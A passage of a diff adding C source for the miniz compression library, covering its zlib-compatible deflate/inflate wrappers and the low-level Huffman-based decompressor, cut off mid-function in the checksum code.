TDEFL_STATUS_OKAY) + { + mz_deflateEnd(pStream); + return MZ_PARAM_ERROR; + } + + return MZ_OK; +} + +int mz_deflateReset(mz_streamp pStream) +{ + if ((!pStream) || (!pStream->state) || (!pStream->zalloc) || (!pStream->zfree)) return MZ_STREAM_ERROR; + pStream->total_in = pStream->total_out = 0; + tdefl_init((tdefl_compressor*)pStream->state, NULL, NULL, ((tdefl_compressor*)pStream->state)->m_flags); + return MZ_OK; +} + +int mz_deflate(mz_streamp pStream, int flush) +{ + size_t in_bytes, out_bytes; + mz_ulong orig_total_in, orig_total_out; + int mz_status = MZ_OK; + + if ((!pStream) || (!pStream->state) || (flush < 0) || (flush > MZ_FINISH) || (!pStream->next_out)) return MZ_STREAM_ERROR; + if (!pStream->avail_out) return MZ_BUF_ERROR; + + if (flush == MZ_PARTIAL_FLUSH) flush = MZ_SYNC_FLUSH; + + if (((tdefl_compressor*)pStream->state)->m_prev_return_status == TDEFL_STATUS_DONE) + return (flush == MZ_FINISH) ? MZ_STREAM_END : MZ_BUF_ERROR; + + orig_total_in = pStream->total_in; orig_total_out = pStream->total_out; + for ( ; ; ) + { + tdefl_status defl_status; + in_bytes = pStream->avail_in; out_bytes = pStream->avail_out; + + defl_status = tdefl_compress((tdefl_compressor*)pStream->state, pStream->next_in, &in_bytes, pStream->next_out, &out_bytes, (tdefl_flush)flush); + pStream->next_in += (mz_uint)in_bytes; pStream->avail_in -= (mz_uint)in_bytes; + pStream->total_in += (mz_uint)in_bytes; pStream->adler = tdefl_get_adler32((tdefl_compressor*)pStream->state); + + pStream->next_out += (mz_uint)out_bytes; pStream->avail_out -= (mz_uint)out_bytes; + pStream->total_out += (mz_uint)out_bytes; + + if (defl_status < 0) + { + mz_status = MZ_STREAM_ERROR; + break; + } + else if (defl_status == TDEFL_STATUS_DONE) + { + mz_status = MZ_STREAM_END; + break; + } + else if (!pStream->avail_out) + break; + else if ((!pStream->avail_in) && (flush != MZ_FINISH)) + { + if ((flush) || (pStream->total_in != orig_total_in) || (pStream->total_out != orig_total_out)) + break; + return MZ_BUF_ERROR; // Can't make forward progress without some input. + } + } + return mz_status; +} + +int mz_deflateEnd(mz_streamp pStream) +{ + if (!pStream) return MZ_STREAM_ERROR; + if (pStream->state) + { + pStream->zfree(pStream->opaque, pStream->state); + pStream->state = NULL; + } + return MZ_OK; +} + +mz_ulong mz_deflateBound(mz_streamp pStream, mz_ulong source_len) +{ + (void)pStream; + // This is really over conservative. (And lame, but it's actually pretty tricky to compute a true upper bound given the way tdefl's blocking works.) + return MZ_MAX(128 + (source_len * 110) / 100, 128 + source_len + ((source_len / (31 * 1024)) + 1) * 5); +} + +int mz_compress2(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len, int level) +{ + int status; + mz_stream stream; + memset(&stream, 0, sizeof(stream)); + + // In case mz_ulong is 64-bits (argh I hate longs). + if ((source_len | *pDest_len) > 0xFFFFFFFFU) return MZ_PARAM_ERROR; + + stream.next_in = pSource; + stream.avail_in = (mz_uint32)source_len; + stream.next_out = pDest; + stream.avail_out = (mz_uint32)*pDest_len; + + status = mz_deflateInit(&stream, level); + if (status != MZ_OK) return status; + + status = mz_deflate(&stream, MZ_FINISH); + if (status != MZ_STREAM_END) + { + mz_deflateEnd(&stream); + return (status == MZ_OK) ? MZ_BUF_ERROR : status; + } + + *pDest_len = stream.total_out; + return mz_deflateEnd(&stream); +} + +int mz_compress(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len) +{ + return mz_compress2(pDest, pDest_len, pSource, source_len, MZ_DEFAULT_COMPRESSION); +} + +mz_ulong mz_compressBound(mz_ulong source_len) +{ + return mz_deflateBound(NULL, source_len); +} + +typedef struct +{ + tinfl_decompressor m_decomp; + mz_uint m_dict_ofs, m_dict_avail, m_first_call, m_has_flushed; int m_window_bits; + mz_uint8 m_dict[TINFL_LZ_DICT_SIZE]; + tinfl_status m_last_status; +} inflate_state; + +int mz_inflateInit2(mz_streamp pStream, int window_bits) +{ + inflate_state *pDecomp; + if (!pStream) return MZ_STREAM_ERROR; + if ((window_bits != MZ_DEFAULT_WINDOW_BITS) && (-window_bits != MZ_DEFAULT_WINDOW_BITS)) return MZ_PARAM_ERROR; + + pStream->data_type = 0; + pStream->adler = 0; + pStream->msg = NULL; + pStream->total_in = 0; + pStream->total_out = 0; + pStream->reserved = 0; + if (!pStream->zalloc) pStream->zalloc = def_alloc_func; + if (!pStream->zfree) pStream->zfree = def_free_func; + + pDecomp = (inflate_state*)pStream->zalloc(pStream->opaque, 1, sizeof(inflate_state)); + if (!pDecomp) return MZ_MEM_ERROR; + + pStream->state = (struct mz_internal_state *)pDecomp; + + tinfl_init(&pDecomp->m_decomp); + pDecomp->m_dict_ofs = 0; + pDecomp->m_dict_avail = 0; + pDecomp->m_last_status = TINFL_STATUS_NEEDS_MORE_INPUT; + pDecomp->m_first_call = 1; + pDecomp->m_has_flushed = 0; + pDecomp->m_window_bits = window_bits; + + return MZ_OK; +} + +int mz_inflateInit(mz_streamp pStream) +{ + return mz_inflateInit2(pStream, MZ_DEFAULT_WINDOW_BITS); +} + +int mz_inflate(mz_streamp pStream, int flush) +{ + inflate_state* pState; + mz_uint n, first_call, decomp_flags = TINFL_FLAG_COMPUTE_ADLER32; + size_t in_bytes, out_bytes, orig_avail_in; + tinfl_status status; + + if ((!pStream) || (!pStream->state)) return MZ_STREAM_ERROR; + if (flush == MZ_PARTIAL_FLUSH) flush = MZ_SYNC_FLUSH; + if ((flush) && (flush != MZ_SYNC_FLUSH) && (flush != MZ_FINISH)) return MZ_STREAM_ERROR; + + pState = (inflate_state*)pStream->state; + if (pState->m_window_bits > 0) decomp_flags |= TINFL_FLAG_PARSE_ZLIB_HEADER; + orig_avail_in = pStream->avail_in; + + first_call = pState->m_first_call; pState->m_first_call = 0; + if (pState->m_last_status < 0) return MZ_DATA_ERROR; + + if (pState->m_has_flushed && (flush != MZ_FINISH)) return MZ_STREAM_ERROR; + pState->m_has_flushed |= (flush == MZ_FINISH); + + if ((flush == MZ_FINISH) && (first_call)) + { + // MZ_FINISH on the first call implies that the input and output buffers are large enough to hold the entire compressed/decompressed file. + decomp_flags |= TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF; + in_bytes = pStream->avail_in; out_bytes = pStream->avail_out; + status = tinfl_decompress(&pState->m_decomp, pStream->next_in, &in_bytes, pStream->next_out, pStream->next_out, &out_bytes, decomp_flags); + pState->m_last_status = status; + pStream->next_in += (mz_uint)in_bytes; pStream->avail_in -= (mz_uint)in_bytes; pStream->total_in += (mz_uint)in_bytes; + pStream->adler = tinfl_get_adler32(&pState->m_decomp); + pStream->next_out += (mz_uint)out_bytes; pStream->avail_out -= (mz_uint)out_bytes; pStream->total_out += (mz_uint)out_bytes; + + if (status < 0) + return MZ_DATA_ERROR; + else if (status != TINFL_STATUS_DONE) + { + pState->m_last_status = TINFL_STATUS_FAILED; + return MZ_BUF_ERROR; + } + return MZ_STREAM_END; + } + // flush != MZ_FINISH then we must assume there's more input. + if (flush != MZ_FINISH) decomp_flags |= TINFL_FLAG_HAS_MORE_INPUT; + + if (pState->m_dict_avail) + { + n = MZ_MIN(pState->m_dict_avail, pStream->avail_out); + memcpy(pStream->next_out, pState->m_dict + pState->m_dict_ofs, n); + pStream->next_out += n; pStream->avail_out -= n; pStream->total_out += n; + pState->m_dict_avail -= n; pState->m_dict_ofs = (pState->m_dict_ofs + n) & (TINFL_LZ_DICT_SIZE - 1); + return ((pState->m_last_status == TINFL_STATUS_DONE) && (!pState->m_dict_avail)) ? MZ_STREAM_END : MZ_OK; + } + + for ( ; ; ) + { + in_bytes = pStream->avail_in; + out_bytes = TINFL_LZ_DICT_SIZE - pState->m_dict_ofs; + + status = tinfl_decompress(&pState->m_decomp, pStream->next_in, &in_bytes, pState->m_dict, pState->m_dict + pState->m_dict_ofs, &out_bytes, decomp_flags); + pState->m_last_status = status; + + pStream->next_in += (mz_uint)in_bytes; pStream->avail_in -= (mz_uint)in_bytes; + pStream->total_in += (mz_uint)in_bytes; pStream->adler = tinfl_get_adler32(&pState->m_decomp); + + pState->m_dict_avail = (mz_uint)out_bytes; + + n = MZ_MIN(pState->m_dict_avail, pStream->avail_out); + memcpy(pStream->next_out, pState->m_dict + pState->m_dict_ofs, n); + pStream->next_out += n; pStream->avail_out -= n; pStream->total_out += n; + pState->m_dict_avail -= n; pState->m_dict_ofs = (pState->m_dict_ofs + n) & (TINFL_LZ_DICT_SIZE - 1); + + if (status < 0) + return MZ_DATA_ERROR; // Stream is corrupted (there could be some uncompressed data left in the output dictionary - oh well). + else if ((status == TINFL_STATUS_NEEDS_MORE_INPUT) && (!orig_avail_in)) + return MZ_BUF_ERROR; // Signal caller that we can't make forward progress without supplying more input or by setting flush to MZ_FINISH. + else if (flush == MZ_FINISH) + { + // The output buffer MUST be large to hold the remaining uncompressed data when flush==MZ_FINISH. + if (status == TINFL_STATUS_DONE) + return pState->m_dict_avail ? MZ_BUF_ERROR : MZ_STREAM_END; + // status here must be TINFL_STATUS_HAS_MORE_OUTPUT, which means there's at least 1 more byte on the way. If there's no more room left in the output buffer then something is wrong. + else if (!pStream->avail_out) + return MZ_BUF_ERROR; + } + else if ((status == TINFL_STATUS_DONE) || (!pStream->avail_in) || (!pStream->avail_out) || (pState->m_dict_avail)) + break; + } + + return ((status == TINFL_STATUS_DONE) && (!pState->m_dict_avail)) ? MZ_STREAM_END : MZ_OK; +} + +int mz_inflateEnd(mz_streamp pStream) +{ + if (!pStream) + return MZ_STREAM_ERROR; + if (pStream->state) + { + pStream->zfree(pStream->opaque, pStream->state); + pStream->state = NULL; + } + return MZ_OK; +} + +int mz_uncompress(unsigned char *pDest, mz_ulong *pDest_len, const unsigned char *pSource, mz_ulong source_len) +{ + mz_stream stream; + int status; + memset(&stream, 0, sizeof(stream)); + + // In case mz_ulong is 64-bits (argh I hate longs). + if ((source_len | *pDest_len) > 0xFFFFFFFFU) return MZ_PARAM_ERROR; + + stream.next_in = pSource; + stream.avail_in = (mz_uint32)source_len; + stream.next_out = pDest; + stream.avail_out = (mz_uint32)*pDest_len; + + status = mz_inflateInit(&stream); + if (status != MZ_OK) + return status; + + status = mz_inflate(&stream, MZ_FINISH); + if (status != MZ_STREAM_END) + { + mz_inflateEnd(&stream); + return ((status == MZ_BUF_ERROR) && (!stream.avail_in)) ? MZ_DATA_ERROR : status; + } + *pDest_len = stream.total_out; + + return mz_inflateEnd(&stream); +} + +const char *mz_error(int err) +{ + static struct { int m_err; const char *m_pDesc; } s_error_descs[] = + { + { MZ_OK, "" }, { MZ_STREAM_END, "stream end" }, { MZ_NEED_DICT, "need dictionary" }, { MZ_ERRNO, "file error" }, { MZ_STREAM_ERROR, "stream error" }, + { MZ_DATA_ERROR, "data error" }, { MZ_MEM_ERROR, "out of memory" }, { MZ_BUF_ERROR, "buf error" }, { MZ_VERSION_ERROR, "version error" }, { MZ_PARAM_ERROR, "parameter error" } + }; + mz_uint i; for (i = 0; i < sizeof(s_error_descs) / sizeof(s_error_descs[0]); ++i) if (s_error_descs[i].m_err == err) return s_error_descs[i].m_pDesc; + return NULL; +} + +#endif //MINIZ_NO_ZLIB_APIS + +// ------------------- Low-level Decompression (completely independent from all compression API's) + +#define TINFL_MEMCPY(d, s, l) memcpy(d, s, l) +#define TINFL_MEMSET(p, c, l) memset(p, c, l) + +#define TINFL_CR_BEGIN switch(r->m_state) { case 0: +#define TINFL_CR_RETURN(state_index, result) do { status = result; r->m_state = state_index; goto common_exit; case state_index:; } MZ_MACRO_END +#define TINFL_CR_RETURN_FOREVER(state_index, result) do { for ( ; ; ) { TINFL_CR_RETURN(state_index, result); } } MZ_MACRO_END +#define TINFL_CR_FINISH } + +// TODO: If the caller has indicated that there's no more input, and we attempt to read beyond the input buf, then something is wrong with the input because the inflator never +// reads ahead more than it needs to. Currently TINFL_GET_BYTE() pads the end of the stream with 0's in this scenario. +#define TINFL_GET_BYTE(state_index, c) do { \ + if (pIn_buf_cur >= pIn_buf_end) { \ + for ( ; ; ) { \ + if (decomp_flags & TINFL_FLAG_HAS_MORE_INPUT) { \ + TINFL_CR_RETURN(state_index, TINFL_STATUS_NEEDS_MORE_INPUT); \ + if (pIn_buf_cur < pIn_buf_end) { \ + c = *pIn_buf_cur++; \ + break; \ + } \ + } else { \ + c = 0; \ + break; \ + } \ + } \ + } else c = *pIn_buf_cur++; } MZ_MACRO_END + +#define TINFL_NEED_BITS(state_index, n) do { mz_uint c; TINFL_GET_BYTE(state_index, c); bit_buf |= (((tinfl_bit_buf_t)c) << num_bits); num_bits += 8; } while (num_bits < (mz_uint)(n)) +#define TINFL_SKIP_BITS(state_index, n) do { if (num_bits < (mz_uint)(n)) { TINFL_NEED_BITS(state_index, n); } bit_buf >>= (n); num_bits -= (n); } MZ_MACRO_END +#define TINFL_GET_BITS(state_index, b, n) do { if (num_bits < (mz_uint)(n)) { TINFL_NEED_BITS(state_index, n); } b = bit_buf & ((1 << (n)) - 1); bit_buf >>= (n); num_bits -= (n); } MZ_MACRO_END + +// TINFL_HUFF_BITBUF_FILL() is only used rarely, when the number of bytes remaining in the input buffer falls below 2. +// It reads just enough bytes from the input stream that are needed to decode the next Huffman code (and absolutely no more). It works by trying to fully decode a +// Huffman code by using whatever bits are currently present in the bit buffer. If this fails, it reads another byte, and tries again until it succeeds or until the +// bit buffer contains >=15 bits (deflate's max. Huffman code size). +#define TINFL_HUFF_BITBUF_FILL(state_index, pHuff) \ + do { \ + temp = (pHuff)->m_look_up[bit_buf & (TINFL_FAST_LOOKUP_SIZE - 1)]; \ + if (temp >= 0) { \ + code_len = temp >> 9; \ + if ((code_len) && (num_bits >= code_len)) \ + break; \ + } else if (num_bits > TINFL_FAST_LOOKUP_BITS) { \ + code_len = TINFL_FAST_LOOKUP_BITS; \ + do { \ + temp = (pHuff)->m_tree[~temp + ((bit_buf >> code_len++) & 1)]; \ + } while ((temp < 0) && (num_bits >= (code_len + 1))); if (temp >= 0) break; \ + } TINFL_GET_BYTE(state_index, c); bit_buf |= (((tinfl_bit_buf_t)c) << num_bits); num_bits += 8; \ + } while (num_bits < 15); + +// TINFL_HUFF_DECODE() decodes the next Huffman coded symbol. It's more complex than you would initially expect because the zlib API expects the decompressor to never read +// beyond the final byte of the deflate stream. (In other words, when this macro wants to read another byte from the input, it REALLY needs another byte in order to fully +// decode the next Huffman code.) Handling this properly is particularly important on raw deflate (non-zlib) streams, which aren't followed by a byte aligned adler-32. +// The slow path is only executed at the very end of the input buffer. +#define TINFL_HUFF_DECODE(state_index, sym, pHuff) do { \ + int temp; mz_uint code_len, c; \ + if (num_bits < 15) { \ + if ((pIn_buf_end - pIn_buf_cur) < 2) { \ + TINFL_HUFF_BITBUF_FILL(state_index, pHuff); \ + } else { \ + bit_buf |= (((tinfl_bit_buf_t)pIn_buf_cur[0]) << num_bits) | (((tinfl_bit_buf_t)pIn_buf_cur[1]) << (num_bits + 8)); pIn_buf_cur += 2; num_bits += 16; \ + } \ + } \ + if ((temp = (pHuff)->m_look_up[bit_buf & (TINFL_FAST_LOOKUP_SIZE - 1)]) >= 0) \ + code_len = temp >> 9, temp &= 511; \ + else { \ + code_len = TINFL_FAST_LOOKUP_BITS; do { temp = (pHuff)->m_tree[~temp + ((bit_buf >> code_len++) & 1)]; } while (temp < 0); \ + } sym = temp; bit_buf >>= code_len; num_bits -= code_len; } MZ_MACRO_END + +tinfl_status tinfl_decompress(tinfl_decompressor *r, const mz_uint8 *pIn_buf_next, size_t *pIn_buf_size, mz_uint8 *pOut_buf_start, mz_uint8 *pOut_buf_next, size_t *pOut_buf_size, const mz_uint32 decomp_flags) +{ + static const int s_length_base[31] = { 3,4,5,6,7,8,9,10,11,13, 15,17,19,23,27,31,35,43,51,59, 67,83,99,115,131,163,195,227,258,0,0 }; + static const int s_length_extra[31]= { 0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0 }; + static const int s_dist_base[32] = { 1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193, 257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577,0,0}; + static const int s_dist_extra[32] = { 0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13}; + static const mz_uint8 s_length_dezigzag[19] = { 16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15 }; + static const int s_min_table_sizes[3] = { 257, 1, 4 }; + + tinfl_status status = TINFL_STATUS_FAILED; mz_uint32 num_bits, dist, counter, num_extra; tinfl_bit_buf_t bit_buf; + const mz_uint8 *pIn_buf_cur = pIn_buf_next, *const pIn_buf_end = pIn_buf_next + *pIn_buf_size; + mz_uint8 *pOut_buf_cur = pOut_buf_next, *const pOut_buf_end = pOut_buf_next + *pOut_buf_size; + size_t out_buf_size_mask = (decomp_flags & TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF) ? (size_t)-1 : ((pOut_buf_next - pOut_buf_start) + *pOut_buf_size) - 1, dist_from_out_buf_start; + + // Ensure the output buffer's size is a power of 2, unless the output buffer is large enough to hold the entire output file (in which case it doesn't matter). + if (((out_buf_size_mask + 1) & out_buf_size_mask) || (pOut_buf_next < pOut_buf_start)) { *pIn_buf_size = *pOut_buf_size = 0; return TINFL_STATUS_BAD_PARAM; } + + num_bits = r->m_num_bits; bit_buf = r->m_bit_buf; dist = r->m_dist; counter = r->m_counter; num_extra = r->m_num_extra; dist_from_out_buf_start = r->m_dist_from_out_buf_start; + TINFL_CR_BEGIN + + bit_buf = num_bits = dist = counter = num_extra = r->m_zhdr0 = r->m_zhdr1 = 0; r->m_z_adler32 = r->m_check_adler32 = 1; + if (decomp_flags & TINFL_FLAG_PARSE_ZLIB_HEADER) + { + TINFL_GET_BYTE(1, r->m_zhdr0); TINFL_GET_BYTE(2, r->m_zhdr1); + counter = (((r->m_zhdr0 * 256 + r->m_zhdr1) % 31 != 0) || (r->m_zhdr1 & 32) || ((r->m_zhdr0 & 15) != 8)); + if (!(decomp_flags & TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF)) counter |= (((1U << (8U + (r->m_zhdr0 >> 4))) > 32768U) || ((out_buf_size_mask + 1) < (size_t)(1U << (8U + (r->m_zhdr0 >> 4))))); + if (counter) { TINFL_CR_RETURN_FOREVER(36, TINFL_STATUS_FAILED); } + } + + do + { + TINFL_GET_BITS(3, r->m_final, 3); r->m_type = r->m_final >> 1; + if (r->m_type == 0) + { + TINFL_SKIP_BITS(5, num_bits & 7); + for (counter = 0; counter < 4; ++counter) { if (num_bits) TINFL_GET_BITS(6, r->m_raw_header[counter], 8); else TINFL_GET_BYTE(7, r->m_raw_header[counter]); } + if ((counter = (r->m_raw_header[0] | (r->m_raw_header[1] << 8))) != (mz_uint)(0xFFFF ^ (r->m_raw_header[2] | (r->m_raw_header[3] << 8)))) { TINFL_CR_RETURN_FOREVER(39, TINFL_STATUS_FAILED); } + while ((counter) && (num_bits)) + { + TINFL_GET_BITS(51, dist, 8); + while (pOut_buf_cur >= pOut_buf_end) { TINFL_CR_RETURN(52, TINFL_STATUS_HAS_MORE_OUTPUT); } + *pOut_buf_cur++ = (mz_uint8)dist; + counter--; + } + while (counter) + { + size_t n; while (pOut_buf_cur >= pOut_buf_end) { TINFL_CR_RETURN(9, TINFL_STATUS_HAS_MORE_OUTPUT); } + while (pIn_buf_cur >= pIn_buf_end) + { + if (decomp_flags & TINFL_FLAG_HAS_MORE_INPUT) + { + TINFL_CR_RETURN(38, TINFL_STATUS_NEEDS_MORE_INPUT); + } + else + { + TINFL_CR_RETURN_FOREVER(40, TINFL_STATUS_FAILED); + } + } + n = MZ_MIN(MZ_MIN((size_t)(pOut_buf_end - pOut_buf_cur), (size_t)(pIn_buf_end - pIn_buf_cur)), counter); + TINFL_MEMCPY(pOut_buf_cur, pIn_buf_cur, n); pIn_buf_cur += n; pOut_buf_cur += n; counter -= (mz_uint)n; + } + } + else if (r->m_type == 3) + { + TINFL_CR_RETURN_FOREVER(10, TINFL_STATUS_FAILED); + } + else + { + if (r->m_type == 1) + { + mz_uint8 *p = r->m_tables[0].m_code_size; mz_uint i; + r->m_table_sizes[0] = 288; r->m_table_sizes[1] = 32; TINFL_MEMSET(r->m_tables[1].m_code_size, 5, 32); + for ( i = 0; i <= 143; ++i) *p++ = 8; for ( ; i <= 255; ++i) *p++ = 9; for ( ; i <= 279; ++i) *p++ = 7; for ( ; i <= 287; ++i) *p++ = 8; + } + else + { + for (counter = 0; counter < 3; counter++) { TINFL_GET_BITS(11, r->m_table_sizes[counter], "\05\05\04"[counter]); r->m_table_sizes[counter] += s_min_table_sizes[counter]; } + MZ_CLEAR_OBJ(r->m_tables[2].m_code_size); for (counter = 0; counter < r->m_table_sizes[2]; counter++) { mz_uint s; TINFL_GET_BITS(14, s, 3); r->m_tables[2].m_code_size[s_length_dezigzag[counter]] = (mz_uint8)s; } + r->m_table_sizes[2] = 19; + } + for ( ; (int)r->m_type >= 0; r->m_type--) + { + int tree_next, tree_cur; tinfl_huff_table *pTable; + mz_uint i, j, used_syms, total, sym_index, next_code[17], total_syms[16]; pTable = &r->m_tables[r->m_type]; MZ_CLEAR_OBJ(total_syms); MZ_CLEAR_OBJ(pTable->m_look_up); MZ_CLEAR_OBJ(pTable->m_tree); + for (i = 0; i < r->m_table_sizes[r->m_type]; ++i) total_syms[pTable->m_code_size[i]]++; + used_syms = 0, total = 0; next_code[0] = next_code[1] = 0; + for (i = 1; i <= 15; ++i) { used_syms += total_syms[i]; next_code[i + 1] = (total = ((total + total_syms[i]) << 1)); } + if ((65536 != total) && (used_syms > 1)) + { + TINFL_CR_RETURN_FOREVER(35, TINFL_STATUS_FAILED); + } + for (tree_next = -1, sym_index = 0; sym_index < r->m_table_sizes[r->m_type]; ++sym_index) + { + mz_uint rev_code = 0, l, cur_code, code_size = pTable->m_code_size[sym_index]; if (!code_size) continue; + cur_code = next_code[code_size]++; for (l = code_size; l > 0; l--, cur_code >>= 1) rev_code = (rev_code << 1) | (cur_code & 1); + if (code_size <= TINFL_FAST_LOOKUP_BITS) { mz_int16 k = (mz_int16)((code_size << 9) | sym_index); while (rev_code < TINFL_FAST_LOOKUP_SIZE) { pTable->m_look_up[rev_code] = k; rev_code += (1 << code_size); } continue; } + if (0 == (tree_cur = pTable->m_look_up[rev_code & (TINFL_FAST_LOOKUP_SIZE - 1)])) { pTable->m_look_up[rev_code & (TINFL_FAST_LOOKUP_SIZE - 1)] = (mz_int16)tree_next; tree_cur = tree_next; tree_next -= 2; } + rev_code >>= (TINFL_FAST_LOOKUP_BITS - 1); + for (j = code_size; j > (TINFL_FAST_LOOKUP_BITS + 1); j--) + { + tree_cur -= ((rev_code >>= 1) & 1); + if (!pTable->m_tree[-tree_cur - 1]) { pTable->m_tree[-tree_cur - 1] = (mz_int16)tree_next; tree_cur = tree_next; tree_next -= 2; } else tree_cur = pTable->m_tree[-tree_cur - 1]; + } + tree_cur -= ((rev_code >>= 1) & 1); pTable->m_tree[-tree_cur - 1] = (mz_int16)sym_index; + } + if (r->m_type == 2) + { + for (counter = 0; counter < (r->m_table_sizes[0] + r->m_table_sizes[1]); ) + { + mz_uint s; TINFL_HUFF_DECODE(16, dist, &r->m_tables[2]); if (dist < 16) { r->m_len_codes[counter++] = (mz_uint8)dist; continue; } + if ((dist == 16) && (!counter)) + { + TINFL_CR_RETURN_FOREVER(17, TINFL_STATUS_FAILED); + } + num_extra = "\02\03\07"[dist - 16]; TINFL_GET_BITS(18, s, num_extra); s += "\03\03\013"[dist - 16]; + TINFL_MEMSET(r->m_len_codes + counter, (dist == 16) ? r->m_len_codes[counter - 1] : 0, s); counter += s; + } + if ((r->m_table_sizes[0] + r->m_table_sizes[1]) != counter) + { + TINFL_CR_RETURN_FOREVER(21, TINFL_STATUS_FAILED); + } + TINFL_MEMCPY(r->m_tables[0].m_code_size, r->m_len_codes, r->m_table_sizes[0]); TINFL_MEMCPY(r->m_tables[1].m_code_size, r->m_len_codes + r->m_table_sizes[0], r->m_table_sizes[1]); + } + } + for ( ; ; ) + { + mz_uint8 *pSrc; + for ( ; ; ) + { + if (((pIn_buf_end - pIn_buf_cur) < 4) || ((pOut_buf_end - pOut_buf_cur) < 2)) + { + TINFL_HUFF_DECODE(23, counter, &r->m_tables[0]); + if (counter >= 256) + break; + while (pOut_buf_cur >= pOut_buf_end) { TINFL_CR_RETURN(24, TINFL_STATUS_HAS_MORE_OUTPUT); } + *pOut_buf_cur++ = (mz_uint8)counter; + } + else + { + int sym2; mz_uint code_len; +#if TINFL_USE_64BIT_BITBUF + if (num_bits < 30) { bit_buf |= (((tinfl_bit_buf_t)MZ_READ_LE32(pIn_buf_cur)) << num_bits); pIn_buf_cur += 4; num_bits += 32; } +#else + if (num_bits < 15) { bit_buf |= (((tinfl_bit_buf_t)MZ_READ_LE16(pIn_buf_cur)) << num_bits); pIn_buf_cur += 2; num_bits += 16; } +#endif + if ((sym2 = r->m_tables[0].m_look_up[bit_buf & (TINFL_FAST_LOOKUP_SIZE - 1)]) >= 0) + code_len = sym2 >> 9; + else + { + code_len = TINFL_FAST_LOOKUP_BITS; do { sym2 = r->m_tables[0].m_tree[~sym2 + ((bit_buf >> code_len++) & 1)]; } while (sym2 < 0); + } + counter = sym2; bit_buf >>= code_len; num_bits -= code_len; + if (counter & 256) + break; + +#if !TINFL_USE_64BIT_BITBUF + if (num_bits < 15) { bit_buf |= (((tinfl_bit_buf_t)MZ_READ_LE16(pIn_buf_cur)) << num_bits); pIn_buf_cur += 2; num_bits += 16; } +#endif + if ((sym2 = r->m_tables[0].m_look_up[bit_buf & (TINFL_FAST_LOOKUP_SIZE - 1)]) >= 0) + code_len = sym2 >> 9; + else + { + code_len = TINFL_FAST_LOOKUP_BITS; do { sym2 = r->m_tables[0].m_tree[~sym2 + ((bit_buf >> code_len++) & 1)]; } while (sym2 < 0); + } + bit_buf >>= code_len; num_bits -= code_len; + + pOut_buf_cur[0] = (mz_uint8)counter; + if (sym2 & 256) + { + pOut_buf_cur++; + counter = sym2; + break; + } + pOut_buf_cur[1] = (mz_uint8)sym2; + pOut_buf_cur += 2; + } + } + if ((counter &= 511) == 256) break; + + num_extra = s_length_extra[counter - 257]; counter = s_length_base[counter - 257]; + if (num_extra) { mz_uint extra_bits; TINFL_GET_BITS(25, extra_bits, num_extra); counter += extra_bits; } + + TINFL_HUFF_DECODE(26, dist, &r->m_tables[1]); + num_extra = s_dist_extra[dist]; dist = s_dist_base[dist]; + if (num_extra) { mz_uint extra_bits; TINFL_GET_BITS(27, extra_bits, num_extra); dist += extra_bits; } + + dist_from_out_buf_start = pOut_buf_cur - pOut_buf_start; + if ((dist > dist_from_out_buf_start) && (decomp_flags & TINFL_FLAG_USING_NON_WRAPPING_OUTPUT_BUF)) + { + TINFL_CR_RETURN_FOREVER(37, TINFL_STATUS_FAILED); + } + + pSrc = pOut_buf_start + ((dist_from_out_buf_start - dist) & out_buf_size_mask); + + if ((MZ_MAX(pOut_buf_cur, pSrc) + counter) > pOut_buf_end) + { + while (counter--) + { + while (pOut_buf_cur >= pOut_buf_end) { TINFL_CR_RETURN(53, TINFL_STATUS_HAS_MORE_OUTPUT); } + *pOut_buf_cur++ = pOut_buf_start[(dist_from_out_buf_start++ - dist) & out_buf_size_mask]; + } + continue; + } +#if MINIZ_USE_UNALIGNED_LOADS_AND_STORES + else if ((counter >= 9) && (counter <= dist)) + { + const mz_uint8 *pSrc_end = pSrc + (counter & ~7); + do + { + ((mz_uint32 *)pOut_buf_cur)[0] = ((const mz_uint32 *)pSrc)[0]; + ((mz_uint32 *)pOut_buf_cur)[1] = ((const mz_uint32 *)pSrc)[1]; + pOut_buf_cur += 8; + } while ((pSrc += 8) < pSrc_end); + if ((counter &= 7) < 3) + { + if (counter) + { + pOut_buf_cur[0] = pSrc[0]; + if (counter > 1) + pOut_buf_cur[1] = pSrc[1]; + pOut_buf_cur += counter; + } + continue; + } + } +#endif + do + { + pOut_buf_cur[0] = pSrc[0]; + pOut_buf_cur[1] = pSrc[1]; + pOut_buf_cur[2] = pSrc[2]; + pOut_buf_cur += 3; pSrc += 3; + } while ((int)(counter -= 3) > 2); + if ((int)counter > 0) + { + pOut_buf_cur[0] = pSrc[0]; + if ((int)counter > 1) + pOut_buf_cur[1] = pSrc[1]; + pOut_buf_cur += counter; + } + } + } + } while (!(r->m_final & 1)); + if (decomp_flags & TINFL_FLAG_PARSE_ZLIB_HEADER) + { + TINFL_SKIP_BITS(32, num_bits & 7); for (counter = 0; counter < 4; ++counter) { mz_uint s; if (num_bits) TINFL_GET_BITS(41, s, 8); else TINFL_GET_BYTE(42, s); r->m_z_adler32 = (r->m_z_adler32 << 8) | s; } + } + TINFL_CR_RETURN_FOREVER(34, TINFL_STATUS_DONE); + TINFL_CR_FINISH + +common_exit: + r->m_num_bits = num_bits; r->m_bit_buf = bit_buf; r->m_dist = dist; r->m_counter = counter; r->m_num_extra = num_extra; r->m_dist_from_out_buf_start = dist_from_out_buf_start; + *pIn_buf_size = pIn_buf_cur - pIn_buf_next; *pOut_buf_size = pOut_buf_cur - pOut_buf_next; + if ((decomp_flags & (TINFL_FLAG_PARSE_ZLIB_HEADER | TINFL_FLAG_COMPUTE_ADLER32)) && (status >= 0)) + { + const mz_uint8 *ptr = pOut_buf_next; size_t buf_len = *pOut_buf_size; + mz_uint32 i, s1 = r->m_check_adler32 & 0xffff, s2 = r->m_check_adler32 >> 16; size_t block_len = buf_len % 5552; + while (buf_len) + { + for (i = 0; i + 7 < block_len; i += 8, ptr += 8) + 